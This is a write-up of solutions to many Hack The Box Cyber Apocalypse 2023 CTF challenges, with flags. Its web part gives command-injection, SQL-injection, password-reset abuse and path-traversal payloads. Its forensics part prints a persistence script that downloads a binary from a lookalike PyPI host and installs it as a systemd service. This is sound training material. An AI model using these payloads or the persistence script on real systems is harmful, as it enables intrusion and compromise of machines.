Hack The Box | Cyber Apocalypse 2023 – The Cursed Mission | Write-Up

The Cyber Apocalypse 2023 CTF hosted by Hack The Box included challenges from 10 categories like Web, Pwn, Reversing, Crypto, and Forensics. More details can be found here: https://ctf.hackthebox.com/event/details/cyber-apocalypse-2023-the-cursed-mission-821

The CTF was active from Sat, 18 March 2023, 14:00 CET to Thu, 23 March 2023, 13:59 CET.



Join our Discord Server and the CYBER APOCALYPSE CTF 2023 channels!

Discord server containing the flag.

Flag: HTB{l3t_th3_tr3asur3_hunt1ng_b3g1n!}


Initialise Connection

In order to proceed, we need to start with the basics. Start an instance, connect to it via $ nc e.g. nc 1337 and send “1” to get the flag.

Shell after connecting via netcat and entering “1”.

Flag: HTB{g3t_r34dy_f0r_s0m3_pwn}


It’s time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.

Again, using netcat I connected to the server and was presented with an info dump and a questionnaire that you can see below:

When compiling C/C++ source code in Linux, an ELF (Executable and Linkable Format) file is created. The flags added when compiling can affect the binary in various ways, like the protections. Another thing affected can be the architecture and the way it’s linked.

If the system in which the challenge is compiled is x86_64 and no flag is specified, the ELF would be x86-64 / 64-bit. If it’s compiled with a flag to indicate the system, it can be x86 / 32-bit binary.

To reduce its size and make debugging more difficult, the binary can be stripped or not stripped.

Dynamic linking: A pointer to the linked file is included in the executable, and the file contents are not included at link time. These files are used when the program is run.

Static linking: The code for all the routines called by your program becomes part of the executable file.

Stripped: The binary does not contain debugging information.

Not Stripped: The binary contains debugging information.

The most common protections in a binary are:

Canary: A random value that is generated, put on the stack, and checked before that function is left again. If the canary value is not correct-has been changed or overwritten, the application will immediately stop.

NX: Stands for non-executable segments, meaning we cannot write and execute code on the stack.

PIE: Stands for Position Independent Executable, which randomizes the base address of the binary as it tells the loader which virtual address it should use.

RelRO: Stands for Relocation Read-Only. The headers of the binary are marked as read-only.

Run the ‘file’ command in the terminal and ‘checksec’ inside the debugger.

The output of ‘file’ command:

>> file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5a83587fbda6ad7b1aeee2d59f027a882bf2a429, for GNU/Linux 3.2.0, not stripped.

The output of ‘checksec’ command:

gef ➤ checksec
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial

Question number 0x1

Is this a ’32-bit’ or ’64-bit’ ELF? (e.g. 1337-bit)

Answer: 64-bit. As seen in the info dump @ “test: ELF 64-bit LSB executable”.

Question number 0x1

What’s the linking of the binary? (e.g. static, dynamic)

Answer: dynamic. As seen in the info dump @ “version 1 (SYSV), dynamically linked”.

Question number 0x3

Is the binary ‘stripped’ or ‘not stripped’?

Answer: not stripped. As seen in the info dump @ “for GNU/Linux 3.2.0, not stripped”.

Question number 0x4

Which protections are enabled (Canary, NX, PIE, Fortify)?

Answer: NX. As can be seen in the list at the end of the info dump.

Then another info dump was presented:

Great job so far! Now it’s time to see some C code and a binary file.

In the pwn_questionnaire.zip there are two files:

  1. test.c
  2. test

The ‘test.c’ is the source code and ‘test’ is the output binary.

Let’s start by analyzing the code. First of all, let’s focus on the ‘#include ‘ line. It includes the ‘stdio.h’ header file to use some of the standard functions like ‘printf()’. The same principle applies for the ‘#include ‘ line, for other functions like ‘system()’.

Now, let’s take a closer look at:

void main(){

By default, a binary file starts executing from the ‘main()’ function. In this case, ‘main()’ only calls another function, ‘vuln()’. The function ‘vuln()’ has 3 lines.

void vuln(){
    char buffer[0x20] = {0};
    fprintf(stdout, "\nEnter payload here: ");
    fgets(buffer, 0x100, stdin);

The first line declares a 0x20-byte buffer of characters and fills it with zeros. The second line calls ‘fprintf()’ to print a message to stdout. Finally, the third line calls ‘fgets()’ to read 0x100 bytes from stdin and store them to the aformentioned buffer.

Then, there is a custom ‘gg()’ function which calls the standard ‘system()’ function to print the flag. This function is never called by default.

void gg(){
    system("cat flag.txt");

Run the ‘man’ command to see the manual page of a standard function (e.g. man gets).

Question number 0x5

What is the name of the custom function that gets called inside main()? (e.g. vulnerable_function())?

Answer: vulv()

Question number 0x6

What is the size of the ‘buffer’ (in hex or decimal)?

Answer: 20 in hex (32 in dec). See “buffer[0x20]”.

Question number 0x7

Which custom function is never called? (e.g. vuln())?

Answer: gg(). It is the only other function in the info dump.

After that, yet another info dump was presented.

Excellent! Now it’s time to talk about Buffer Overflows.

Buffer Overflow means there is a buffer of characters, integers or any other type of variables, and someone inserts into this buffer more bytes than it can store.

If the user inserts more bytes than the buffer’s size, they will be stored somewhere in the memory after the address of the buffer, overwriting important addresses for the flow of the program. This, in most cases, will make the program crash.

When a function is called, the program knows where to return because of the ‘return address’. If the player overwrites this address, they can redirect the flow of the program wherever they want. To print a function’s address, run ‘p ‘ inside ‘gdb’. (e.g. p main)

gef ➤ p gg
$1 = {} 0x401176

To perform a Buffer Overflow in the simplest way, we take these things into consideration.

  1. Canary is disabled so it won’t quit after the canary address is overwritten.
  2. PIE is disabled so the addresses of the binary functions are not randomized and the user knows where to return after overwriting the return address.
  3. There is a buffer with N size.
  4. There is a function that reads to this buffer more than N bytes.

Run printf 'A%.0s' {1..30} | ./test to enter 30″A” into the program. Run the program manually with “./test” and insert 30A, then 39, then 40 and see what happens.

Question number 0x8

What is the name of the standard function that could trigger a Buffer Overflow? (e.g. fprintf())?

Answer: fgets()

Code excerpt showing vuln().

Question number 0x9

Insert 30, then 39, then 40 ‘A’s in the program and see the output. After how many bytes a Segmentation Fault occurs (in hex or decimal)?

Answer: 40

Inserting 40 ‘A’s triggers a Segmentation Fault.

Question number 0xa

What is the address of ‘gg()’ in hex? (e.g. 0x401337)

Answer: 0x401176 as shown in the info dump.

Entering all answers correctly reveals the flag.

Flag: HTB{th30ry_bef0r3_4cti0n}

Getting Started

Get ready for the last guided challenge and your first real exploit. It’s time to show your hacking skills.

Connecting to the box:

Server output upon connecting (1/2).
Server output upon connecting (2/2).

I actually tried crafting something like this with pwntools:

from pwn import *

# Open connection
IP   = ''
PORT = 32487

r    = remote(IP, PORT)

print(r.recvuntil(b'>>', drop=True))
payload = b'B' * 40
print(r.recvuntil(b'>>', drop=True))

# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')

But realized I did not actually need pwntools after a quick test:

Entering a bunch of ‘A’s to trigger a buffer overflow, thus revealing the flag.

Flag: HTB{b0f_s33m5_3z_r1ght?}


Trapped Source

Intergalactic Ministry of Spies tested Pandora’s movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?

Opening the website in a browser, I could see this:

First impression of the website.

A maximum of four digits could be entered at a time. The code had this script.js.

currentPin = []

const checkPin = () => {
	pin = currentPin.join('')

	if (CONFIG.correctPin == pin) {
		fetch('/flag', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json'
			body: JSON.stringify({
				'pin': CONFIG.correctPin
		.then((data) => data.json())
		.then((res) => {
			$('.lockStatus').css('font-size', '8px')

	setTimeout(() => {
	}, 3000)


const unlock = (pin) => {

	if (currentPin.length > 4) return

	$('.lockStatus').text(currentPin.join(' '))

const reset = () => {
	currentPin.length = 0
	$('.lockStatus').css('font-size', 'x-large')


So only if the entered PIN was correct, the flag was going to be fetched. But the PIN check was done on client side and could just be bypassed. But since the PIN might be checked on the server, too, I looked a bit further and found the PIN in the HTML:

Inspecting the client HTML code to see the PIN.

Entering 8291 revealed the flag.

Entering the PIN and sending it to the server to get the flag.

Flag: HTB{V13w_50urc3_c4n_b3_u53ful!!!}


During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.

This had quite a lot of code, but the important aspect is always the flag, and we are given the Dockerfile which reveals the flag location to be in /flag.txt, so I immediately assumed I had to use some kind of Remote Code Execution or Path Traversal. Especially since doing a search for “flag” in the rest of the files revealed nothing, meaning the flag was never called in the code itself.

The web interface didn’t have many interaction points. The most promising was a shell.

Opening a built-in shell on the website.

Looking through the code, I understood that when using the /ping command, the parameter was POSTed to /api/ping, where the “IP” parameter was called like this:

public function getOutput()
    # Do I need to sanitize user input before passing it to shell_exec?
    return shell_exec('ping -c 3 '.$this->ip);

The code itself gives more than a hint that this is indeed where the code is vulnerable. To run my own code, I immediately tried to run /ping; whoami, which worked as intended.

Running various commands to get to the flag.

Flag: HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}


Pandora’s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?

For this one, the flag.txt was in /flag.txt, but was called in the code. The website had only two views, one of them being a login page and the other being a home page where the flag could be included without any further condition, so I assume I just had to log in successfully to be able to see the flag on the home page. Naturally, I tried “admin:admin” first.

Entering admin:admin on the website, trying to get access easily.

In a config.py, credentials for a MySQL database were shown, but those didn’t work for the web login. But that led me to assume I could use some SQL injection with good old 'OR 1=1--, but that didn’t work either. However, a hint was given in database.py:

def login(username, password):
    # We should update our code base and use techniques like parameterization to avoid SQL Injection
    user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)

    if user:
        token = createJWT(username)
        return token
        return False

Based on that code, I just needed to use " OR 1=1 -- with double quotes instead of single quotes, which worked.

Entering the admin interface through SQL injection to see the flag.

Flag: HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}


Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?

This time, no flag.txt was to be seen anywhere, so I assumed the flag was incorporated directly. Again, a database was used, but all queries were parametrized, so I assumed not another SQLi. But this time the creation of an own account was possible, so I assumed maybe some hijacking was possible here, especially since the code included a “JWThelper.js” file, and the database.js had a method to add some “phrase” which I assumed would include the flag for the admin account. So I created an account and logged in.

Creating an account on the website.

I immediately checked for any cookies and indeed found a JWT token.


Using https://jwt.io/ I saw that the token included whether or not the user was an admin.

Inspecting the JSON Web Token.

So before trying to log in as another user whose name I would have to guess, I tried making myself an admin, but that didn’t work, and also just changing the name to “admin” didn’t work. Trying to create the “admin” user confirmed the user did exist, though.

Next to the JWTHelper.js, the code also included a GraphqlHelper.js that allowed certain actions without necessarily being logged in as admin:

UpdatePassword: {
    type: ResponseType,
    args: {
        username: { type: new GraphQLNonNull(GraphQLString) },
        password: { type: new GraphQLNonNull(GraphQLString) }
    resolve: async (root, args, request) => {
        return new Promise((resolve, reject) => {
            if (!request.user) return reject(new GraphQLError('Authentication required!'));

            db.updatePassword(args.username, args.password)
                .then(() => resolve(response("Password updated successfully!")))
                .catch(err => reject(new GraphQLError(err)));

From the looks of it, the only authentication here was to ask if the user making the request is present, but not if they are the same as the username whose password is being changed.

I used Altair in Firefox for querying. Trying it without any JWT cookie:

Sending graphql queries without JWT cookie.

Adding header:

Adding JWT cookie to header.

With cookie in header:

Sending graphql queries with JWT cookie, changing the admin password.

Logging in as admin and viewing their data:

Logging in as admin and viewing the flag.

Flag: HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}


In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities – a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

Once again, there was a login mask when opening the IP and port in a browser.

Login mask on the website.

After trying the basic SQLi methods, I took a look at the code for it:


def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
        return False


def passwordVerify(hashPassword, password):
    md5Hash = hashlib.md5(password.encode())

    if md5Hash.hexdigest() == hashPassword: return True
    else: return False

So my idea was simple: Either query for the password hash and crack it, since md5 is weak, especially without salt, or change the admin password using a query. While crafting such a query, I had another idea: Since the password for the user is not actually the one from the database, I could inject that, too using namedoesnotexist" UNION SELECT username, "098f6bcd4621d373cade4e832627b4f6" FROM users WHERE username = "admin as “username” and “test” as password. “test” as md5 hash is “098f6bcd4621d373cade4e832627b4f6”. That worked and I was logged in as admin.

The resulting page was a dashboard of some sort. Still, the items on the menu weren’t really interactive and altogether there wasn’t much to do except for exporting some “recent communications”.

Dashboard for logged-in admin, showing “export” buttons.

When exporting, a rick-roll mp3 was downloaded. This is important because the flag file, according to the Docker file, was at “/signal_sleuth_firmware”. The dashboard.js included the export function:

const exportFile = (name) => {
    xmlHttpRequest = new XMLHttpRequest();
    url = '/api/export';
    xmlHttpRequest.open('POST', url);
    xmlHttpRequest.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xmlHttpRequest.responseType = 'blob';
    xmlHttpRequest.onload = (e) => {
        var blob = e.currentTarget.response;
        var contentDispo = e.currentTarget.getResponseHeader('Content-Disposition');
        var fileName = contentDispo.match(/filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/)[1];
        saveBlob(blob, fileName);
    xmlHttpRequest.send(JSON.stringify({ name }))

The admin cookie was important because the /export route checked for authentication. The export code on server side:

@api.route('/export', methods=['POST'])
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    data = request.get_json()
    communicationName = data.get('name', '')

        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
        return response('Unable to retrieve the communication'), 400

It pretty much told me that path traversal was possible. So I changed the HTML dom from.

<div class="export" onclick="exportFile('communication.mp3')">
    <svg redacted for writeup...


<div class="export" onclick="exportFile('../../../../signal_sleuth_firmware')">
    <svg redacted for writeup...

And then clicked the button to download the file.

Changing the path to be exported and clicking the button, then reading the file contents of the downloaded file.

Flag: HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}


Navigating the Unknown

Your advanced sensory systems make it easy for you to navigate familiar environments, but you must rely on intuition to navigate in unknown territories. Through practice and training, you must learn to read subtle cues and become comfortable in unpredictable situations. Can you use your software to find your way through the blocks?

This one provided a bunch of beginner information, which was still not enough to make it easy. What I did at first was to get the information as stated in the instructions.

Get basic information for the transaction.

Then I crafted a python script that used web3 as instructed in a provided readme to fulfill the contract by googling and with a bit of trial and error for the ABI. My final script looked like this:

from web3 import Web3

# create web3 instance and connect to node
w3 = Web3(Web3.HTTPProvider(''))

# get latest block and print it
latest_block = w3.eth.get_block('latest')
print("Latest Block:", latest_block)

# set account credentials and target contract address
private_key = "0x440c4b60ac4fc59b5882899b014e048276a92f8ac2ca3d4d731b559d399cef2f"
address = "0x7b3e5de923B66FbceA935b2A98450e46eCBe7362"
target_contract_address = "0x9E2897A93C82Db957D2ABEEC26F89dc417bE06b5"

# get nonce for the address to send transaction
nonce = w3.eth.get_transaction_count(address)

# set ABI for the target contract
abi = [{
  "inputs": [{
    "internalType": "uint256",
    "name": "version",
    "type": "uint256"
  "name": "updateSensors",
  "outputs": [],
  "type": "function"

# create contract instance
target_contract = w3.eth.contract(address=target_contract_address, abi=abi)

# get chain ID
chain_id = w3.eth.chain_id

# build transaction to call the updateSensors function
transaction = target_contract.functions.updateSensors(10).build_transaction({
  "chainId": chain_id,
  "from": address,
  "nonce": nonce

# sign transaction with private key
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)

# send the raw transaction to the network
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)

# wait for the transaction to be mined and get its receipt
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt:", tx_receipt)

Then I got the flag.

Running the script to fulfill the contract, then getting the flag.

Flag: HTB{9P5_50FtW4R3_UPd4t3D}


Critical Flight

Your team has assigned you to a mission to investigate the production files of Printed Circuit Boards for irregularities. This is in response to the deployment of nonfunctional DIY drones that keep falling out of the sky. The team had used a slightly modified version of an open-source flight controller in order to save time, but it appears that someone had sabotaged the design before production. Can you help identify any suspicious alterations made to the boards?

In this challenge, a bunch of .cbr files was provided. I googled how to open them and found https://www.gerbview.com/. With that, all these files can be opened as layers of some hardware.

Opening the files in GerbView 10.

On the top layer, part of the flag could be seen immediately. So I assumed the rest might be on other parts and hid one part at a time until I found the second part of the flag.

Second part of the flag on one of the layers.

Flag: HTB{533_7h3_1nn32_w02k1n95_0f_313c720n1c5#$@}

Timed Transmission

As part of your initialization sequence, your team loaded various tools into your system, but you still need to learn how to use them effectively. They have tasked you with the challenge of finding the appropriate tool to open a file containing strange serial signals. Can you rise to the challenge and find the right tool?

For this challenge, a .sal file was provided. I used strings on it, googled for it, and asked ChatGPT about it, but none of that really was precise about this file type. So I just used file on it, saw that it was an archive format, unpacked it, strings one of the files, and saw that it was related to “SALEAE”.

Investigating the .sal file.

Googling for that and how to open the .sal file, I found this post where a download for the software is advertised in the header: https://discuss.saleae.com/t/utilities-for-sal-files/725 Having downloaded that and opened the “captured signal”, i. e. the sal file, I immediately saw part of the flag.

Opening the sal file in Logic 2, revealing the flag.

Reading all of it was still a bit difficult, but doable.

Flag: HTB{b391N_tH3_HArdWAr3_QU3St}


Your team has recovered a satellite dish that was used for transmitting the location of the relic, but it seems to be malfunctioning. There seems to be some interference affecting its connection to the satellite system, but there are no indications of what it could be. Perhaps the debugging interface could provide some insight, but they are unable to decode the serial signal captured during the device’s booting sequence. Can you help to decode the signal and find the source of the interference?

Interestingly enough, this had another .sal file that could be opened with Logic 2.

Opening the sal file in Logic 2.

This time, however, only some lines were visible. At first, I thought I didn’t have to use Logic 2, but instead, this was some kind of bar code, but after following that thought for some time, I dismissed that idea and actually looked through some features of Logic 2. On the right-hand side, “Analyzers” can be used.

Opening the “Analyzers”.

Adding the Async Serial Analyzer and switching to terminal view, some data was visible, albeit nothing readable. So I tried different settings for the Bit Rate to see if that would change something, and it indeed changed the terminal output. After searching for a good value for a bit, I eventually found some ASCII art, and human-readable lines came to light.

Final settings for Async Serial.
ASCII art and readable strings in the terminal, showing the flag in multiple parts.

Flag: HTB{547311173_n37w02k_c0mp20m153d}


Shattered Tablet

Deep in an ancient tomb, you’ve discovered a stone tablet with secret information on the locations of other relics. However, while dodging a poison dart, it slipped from your hands and shattered into hundreds of pieces. Can you reassemble it and read the clues?

Going straight to the main function in Ghidra, I saw this.

Excerpt of the main function in Ghidra.

Where the characters and letters “HTB{_” clearly stand out. So I really only needed to bring them into the correct order. I knew it would start with “HTB{” which are all in “local_48”, so I assumed that I could order the characters in chunks according to the eight local variables as a first step.

local_48 = TkHB{rb0
local_40 = 4_4pn3tr
local_38 = evn,tr_3
local_30 = p_rb330_
local_28 = dr314}

Within each chunk, the variables had attributes like “_7_1_” which indicated the position of the corresponding letter in the chunk. Ordering the letters accordingly revealed the flag.

Flag: HTB{br0k3n_4p4rt,n3ver_t0_b3_r3p41r3d}

Needle in a Haystack

You’ve obtained an ancient alien Datasphere, containing categorized and sorted recordings of every word in the forgotten intergalactic common language. Hidden within it is the password to a tomb, but the sphere has been worn with age and the search function no longer works, only playing random recordings. You don’t have time to search through every recording – can you crack it open and extract the answer?

Before using Ghidra, I always try “strings” on the files and this time, it actually worked.

Using “strings” on the binary to reveal the flag.

Flag: HTB{d1v1ng_1nt0_th3_d4tab4nk5}

Hunting License

STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!

An IP and port with a little questionnaire about a provided compiled C file called “license”, which I opened with Ghidra.

Question 1

What is the file format of the executable?

Answer: ELF 64-bit

Using “file” on the executable.

Question 2

What is the CPU architecture of the executable?

Answer: x86-64

Question 3

What library is used to read lines for user answers? (ldd may help)

Answer: libreadline

Using “ldd” on the executable.

Question 4

What is the address of the main function?

Answer: 00401172

Finding the address of the “main” function in Ghidra.

Question 5

How many calls to puts are there in main? (using a decompiler may help)

Answer: 5

Counting the “puts” in Ghidra.

Question 6

What is the first password?

Answer: PasswordNumeroUno

Finding the first password in the “exam” function.

Question 7

What is the reversed form of the second password?

Answer: 0wTdr0wss4P

In the “exam” function, there is this line: reverse(&local_1c,t,0xb), which basically loads the value of “t” and compares it to the user input after reversing it. t:

Finding the individual Hex values of the second password as stored in “t”.

30 77 54 64 72 30 77 73 73 34 50 from Hex -> 0wTdr0wss4P

Question 8

What is the real second password?

Answer: P4ssw0rdTw0

Question 9

What is the XOR key used to encode the third password?

Answer: 0x13

Similar to the second password, the third can be found in t2:

Finding the individual Hex values of the encoded third password as stored in “t2”.

47 7b 7a 61 77 52 7d 77 55 7a 7d 72 7f 32 32 32 from Hex -> G{zawR}wUz}r.222

Brute forcing the XOR key gives “ThirdAndFinal!!!” with key “13”. CyberChef: https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Auto’)XOR_Brute_Force(1,100,0,’Standard’,false,true,false,”)&input=NDcgN2IgN2EgNjEgNzcgNTIgN2QgNzcgNTUgN2EgN2QgNzIgN2YgMzIgMzIgMzIgMTM

Funny enough, I could’ve gotten that by just reading because the function call is xor(&local_38,t2,0x11,0x13); where the fourth parameter (0x13) is the key:

void xor(long param_1,long param_2,ulong param_3,byte param_4)
  int local_c;
  for (local_c = 0; (ulong)(long)local_c < param_3; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) = *(byte *)(param_2 + local_c) ^ param_4;

Question 10

What is the third password?

Answer: ThirdAndFinal!!!

Entering all answers correctly to get the flag.

Flag: HTB{l1c3ns3_4cquir3d-hunt1ng_t1m3!}

Cave System

Deep inside a cave system, 500 feet below the surface, you find yourself stranded with supplies running low. Ahead of you sprawls a network of tunnels, branching off and looping back on themselves. You don’t have time to explore them all – you’ll need to program your cave-crawling robot to find the way out…

This one provided a C binary, even though working with it directly did not present many attack points:

Executing the provided “cave” file.

Naturally, I took a look at it with Ghidra.

Viewing the “main” function using Ghidra (1/2).
Viewing the “main” function using Ghidra (2/2).

This looked a bit overwhelming, so instead of finding the correct path, I first looked for the destination. What I found was this:

Finding the end of the “cave” in Ghidra.

So basically, I had to get to 00102033 or 00101ab3 (which I wasn’t sure about at that time because I’m not an expert). Right below, I saw this:

Finding the wrong end of the “cave” in Ghidra.

So I figured that each choice I would make in the cave was corresponding to one character of the flag, starting with HTB{. Now, I could brute-force that manually, but I always wanted to try angr, and this seemed like the perfect opportunity for that. So with a lot of trial and error, a lot of googling, and some help from ChatGPT, I built this script to find a way from the starting address to the target address while avoiding getting lost.

import angr
import sys

def main():
    binary_path = './cave'

    # Load binary into angr project
    project = angr.Project(binary_path)

    # Create initial state for simulation
    initial_state = project.factory.entry_state()

    # Create simulation manager
    sim_manager = project.factory.simgr(initial_state)

    # Define addresses to find and avoid
    target_addr = 0x401ab3
    avoid_addr = 0x401ac1

    # Explore paths in the binary using angr
    sim_manager.explore(find=target_addr, avoid=avoid_addr)

    # Check if target address was found
    if sim_manager.found:
        # Get first solution state
        solution_state = sim_manager.found[0]
        # Print input that led to solution state
        # Raise exception if target address was not found
        raise Exception('Could not find the solution')

if __name__ == '__main__':

And indeed, after waiting a few seconds of computing, angr found a way!

Finding the flag using the angr script.

Flag: HTB{H0p3_u_d1dn’t_g3t_th15_by_h4nd,1t5_4_pr3tty_l0ng_fl4g!!!}



As Pandora set out on her quest to find the ancient alien relic, she knew that the journey would be treacherous. The desert was vast and unforgiving, and the harsh conditions would put her cyborg body to the test. Pandora started by collecting data about the temperature and humidity levels in the desert. She used a scatter plot in an Orange Workspace file to visualize this data and identified the areas where the temperature was highest and the humidity was lowest. Using this information, she reconfigured her sensors to better withstand the extreme heat and conserve water. But, a second look at the data revealed something otherwordly, it seems that the relic’s presence beneath the surface has scarred the land in a very peculiar way, can you see it?

Given was an OWS file and a CSV file, so I asked ChatGPT what those were for and got hinted at https://orangedatamining.com/. So I installed their software and opened the OWS file with it. In there, I imported and connected the files.

Opening the provided files in Orange.

After adjusting some settings, it was readable.

Adjusting the settings to make the flag readable.

Flag: HTB{sc4tter_pl0ts_4_th3_w1n}



Thousands of years ago, sending a GET request to /flag would grant immense power and wisdom. Now it’s broken and usually returns random data, but keep trying, and you might get lucky… Legends say it works once every 1000 tries.

This challenge invited me to just brute force until the flag was returned, so I wrote a short script to do just that.

import requests

url = ""

while True:
    response = requests.get(url)
    if "HTB{" in response.text:

I printed every response to check if it was working as intended. After a minute or two, the flag was returned.

Running the script, making a bunch of GET requests, printing the responses, revealing the flag.

Flag: HTB{y0u_h4v3_p0w3rfuL_sCr1pt1ng_ab1lit13S!}

Remote computation

The alien species use remote machines for all their computation needs. Pandora managed to hack into one, but broke its functionality in the process. Incoming computation requests need to be calculated and answered rapidly, in order to not alarm the aliens and ultimately pivot to other parts of their network. Not all requests are valid though, and appropriate error messages need to be sent depending on the type of error. Can you buy us some time by correctly responding to the next 500 requests?

Upon connecting to the server, these instructions were given:

Instructions for the challenge.

The challenge name was “remote computation”, but I wanted to see how it looked manually first.

Trying it manually.

I’ve read about a very similar challenge not too long ago and I immediately thought about solving this with pwntools. The idea was simple: Receive the expression, solve it automatically, and send the solution to the server. So I drafted a short script that did exactly that, only to realize that not just one expression would be sent, but many. So many, that all of the special cases mentioned in the instructions would actually occur, so I adjusted my script a bit to account for that. When it ran through all expressions, I noticed I didn’t get the flag because of how I wrote the script. My simple fix was to just expect the exact amount of expressions, which was 500, and then switch to interactive mode. So my final script looked like this:

from pwn import *
import re

# Set up the remote connection
conn = remote('', 32700)

# Receive the instructions and start the game
print(conn.recvuntil(b'>', drop=True))

# Keep track of how many expressions have been solved
i = 0
while i<500:
    # Receive the challenge from the server
    challenge = conn.recvuntil(b'>', drop=True).decode().strip()

    # Extract the expression from the challenge
    expression_match = re.search(r'\[(\d+)\]: (.+) = \?', challenge)
    if not expression_match:
        print("Failed to extract expression from challenge:", challenge)
    expression = expression_match.group(2)
    print("Expression:", expression)

    # Calculate the solution
        solution = round(eval(expression), 2)
        if(solution < -1337 or solution > 1337):
            solution = "MEM_ERR"
    except ZeroDivisionError:
        solution = "DIV0_ERR"
    except SyntaxError:
        solution = "SYNTAX_ERR"
    print("Solution:", solution)
    i = i+1
    # Send the solution to the server


Running through all the expressions took some seconds, but at the end, the flag was revealed.

Running the script to solve all expressions and to get the flag.

Flag: HTB{d1v1d3_bY_Z3r0_3rr0r}


You ‘re still trying to collect information for your research on the alien relic. Scientists contained the memories of ancient egyptian mummies into small chips, where they could store and replay them at will. Many of these mummies were part of the battle against the aliens and you suspect their memories may reveal hints to the location of the relic and the underground vessels. You managed to get your hands on one of these chips but after you connected to it, any attempt to access its internal data proved futile. The software containing all these memories seems to be running on a restricted environment which limits your access. Can you find a way to escape the restricted environment ?

An IP and port to connect to was given and some source files. When connecting to the IP and port with netcat, I noticed I would have to connect via ssh, and the source files hinted as much. After looking through the files a bit, I noticed a user named “restricted” could access the server without a password as per the sshd_config:

# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server
Match user restricted
    PermitEmptyPasswords yes
Connecting to the server using SSH.

Trying whoami and ls didn’t work. Basically, no command worked, except for export.

Trying commands on the server and exporting variables.

The result showed two IP addresses, one of which I was currently connected to, albeit using a different port. Naturally, I thought about pivoting to the other IP, but there again I couldn’t use commands. I could use export again and found yet another IP address, but same thing again, and then it just changed the ports.

So instead of going any deeper, I went back to the start and connected to the original server with “bash” as argument to get a less restricted shell.

Connecting to the server with a bash shell, being able to get the flag.

Flag: HTB{r35tr1ct10n5_4r3_p0w3r1355}


Plaintext Tleasure

Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.

I opened the PCAP file with Wireshark, searched for the string “admin” in the Packet details and followed the TCP stream of the found packet.

Searching for “admin” in Wireshark.
Following the TCP stream.

Flag: HTB{th3s3_4l13ns_st1ll_us3_HTTP}

Alien Cradle

In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?

I unzipped the file in Kali and opened it with Mousepad, immediately revealing the flag separated into multiple parts.

Opening the file in Mousepad.

Flag: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}

Extraterrestrial Persistence

There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?

I opened the given persistence.sh in Kali with Mousepad.

if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi

curl https://files.pypi-install.com/packeges/service -o $path

chmod +x $path

echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service

systemctl enable service.service

This is obviously some base64 encoded text, so I decoded it.

Decoding the base64 encoded string, getting the flag.

Flag: HTB{th3s3_4l13nS_4r3_s00000_b4s1c}


